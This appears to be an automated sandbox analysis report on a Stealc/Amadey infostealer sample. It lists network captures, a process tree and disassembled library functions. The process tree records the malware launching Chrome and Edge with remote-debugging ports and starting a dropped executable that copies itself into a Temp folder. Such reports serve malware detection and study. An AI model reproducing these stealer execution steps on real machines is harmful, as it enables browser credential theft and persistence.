2024-12-08 14:39:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:16 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143916Z-r1cf579d778bb9vvhC1EWRs95400000005a0000000000scv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:16 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 14:39:15 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 14:39:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 14:39:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T143916Z-r1cf579d778bb9vvhC1EWRs95400000005800000000030bn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 14:39:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Target ID:	0
Start time:	09:38:02
Start date:	08/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x8c0000
File size:	1'756'160 bytes
MD5 hash:	5282D7FEEBF600D675B428A5AE1F000C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2736377583.00000000008C1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2138686515.0000000004CC0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:38:13
Start date:	08/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	09:38:15
Start date:	08/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2364 --field-trial-handle=2040,i,4991592399884390181,5857060329787244527,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:38:23
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	09:38:24
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2296 --field-trial-handle=2128,i,7367324743723620747,13671765739896702745,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	09:38:25
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	09:38:25
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2292 --field-trial-handle=2044,i,3168558762679559794,18055959168976227557,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	09:38:58
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\DGIJDAFCFH.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:38:58
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:38:58
Start date:	08/12/2024
Path:	C:\Users\user\Documents\DGIJDAFCFH.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\DGIJDAFCFH.exe"
Imagebase:	0x2e0000
File size:	3'256'832 bytes
MD5 hash:	68D337CEFD0D798EAE5BB67DABD97D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000E.00000002.2727214816.00000000002E1000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:39:00
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb10000
File size:	3'256'832 bytes
MD5 hash:	68D337CEFD0D798EAE5BB67DABD97D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 0000000F.00000002.2751139523.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	09:39:00
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xb10000
File size:	3'256'832 bytes
MD5 hash:	68D337CEFD0D798EAE5BB67DABD97D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000010.00000002.2751383878.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:40:00
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xb10000
File size:	3'256'832 bytes
MD5 hash:	68D337CEFD0D798EAE5BB67DABD97D11
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.3374124442.0000000000B11000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
__aulldiv.LIBCMT ref: 6C9336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C933773
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C93377E
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9337C4
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9337CB
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C933801
__aulldiv.LIBCMT ref: 6C933883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C933902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C933918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C93394C

Strings

GTC, xrefs: 6C933912
GenuntelineI, xrefs: 6C933639
AuthcAMDenti, xrefs: 6C933946
QPC, xrefs: 6C9338FC
MOZ_TIMESTAMP_MODE, xrefs: 6C9335DB

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction ID: a0bc96b127170bdefd735f88a6772bb9dde8e2905c181f8a92bba54d538c89c4
Opcode Fuzzy Hash: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction Fuzzy Hash: BEB1A079B08315EFDB08DF28C44561B77F9BB8A708F25892EE899D3790D770D8018B89

Function 6C94C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C94C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C94C969
GetSystemInfo.KERNEL32(?), ref: 6C94C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C94C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C94C9E2

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction ID: dcada75d9ce94d08f36fa97ed00bd3649ca3452fef7d7d99ec2053b654dfec6b
Opcode Fuzzy Hash: 19fc3c01132cda3191fc5f768cb2113df987e65e5cfade21716db44083636f14
Instruction Fuzzy Hash: 2A21D736745214BFDB04AA79DC94BAF73B9AB86744F60452AF903A7A80DB70DC04C794

Function 6C933060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C933095

Part of subcall function 6C9335A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
Part of subcall function 6C9335A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
Part of subcall function 6C9335A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
Part of subcall function 6C9335A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
Part of subcall function 6C9335A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
Part of subcall function 6C9335A0: __aulldiv.LIBCMT ref: 6C9336E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C93309F

Part of subcall function 6C955B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9556EE,?,00000001), ref: 6C955B85
Part of subcall function 6C955B50: EnterCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955B90
Part of subcall function 6C955B50: LeaveCriticalSection.KERNEL32(6C9BF688,?,?,?,6C9556EE,?,00000001), ref: 6C955BD8
Part of subcall function 6C955B50: GetTickCount64.KERNEL32 ref: 6C955BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9330BE

Part of subcall function 6C9330F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C933127
Part of subcall function 6C9330F0: __aulldiv.LIBCMT ref: 6C933140

Part of subcall function 6C96AB2A: __onexit.LIBCMT ref: 6C96AB30

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction ID: 44b61cc302f2574c4fa35a996bdff945ca50953a86a8ecc065fe719d906b4854
Opcode Fuzzy Hash: 47a97abd2f3bfe8836d1b0ad4ce463b8f1effbb69fbdb9f91171d42731395d0c
Instruction Fuzzy Hash: C0F0F91AE2874DE7CB10DF3888411E77374AF7B118F601319EC4853551FF20A1D8838A

Non-executed Functions

Function 6C945440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C945492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9454A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9454BE
__Init_thread_footer.LIBCMT ref: 6C9454DB

Part of subcall function 6C96AB3F: EnterCriticalSection.KERNEL32(6C9BE370,?,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284), ref: 6C96AB49
Part of subcall function 6C96AB3F: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C933527,6C9BF6CC,?,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96AB7C

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9454F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C945516
GetCurrentThreadId.KERNEL32 ref: 6C94556A
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945577
moz_xmalloc.MOZGLUE(00000070), ref: 6C945585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C945590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9455E6
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8), ref: 6C945606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C945616

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

GetCurrentThreadId.KERNEL32 ref: 6C94563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C945646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C94567C
free.MOZGLUE(?), ref: 6C9456AE

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9456E8
GetCurrentThreadId.KERNEL32 ref: 6C945707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C94570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C945729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C94574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C94576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C945796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9457B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9457CA

Strings

MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C945791
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C945D1C
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C94584E
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9457AE
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C945BBE
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C945B38
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9457C5
MOZ_BASE_PROFILER_HELP, xrefs: 6C945511
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9454B9
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C945749
[I %d/%d] profiler_init, xrefs: 6C94564E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C945AC9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C945724
GeckoMain, xrefs: 6C945554, 6C9455D5
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C94548D
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C945C56
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C945717
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C945D2B
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C945CF9
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C945D24
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C945D01
MOZ_PROFILER_STARTUP, xrefs: 6C9455E1
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C945766
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9454A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9456E3

Memory Dump Source

Source File: 00000000.00000002.2750309061.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2750290282.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750383796.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2750410424.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: e6def4135b80b48a086b63dbb6e1b9f4e1b666178eb619df8b5f35ba9b5ce8f0
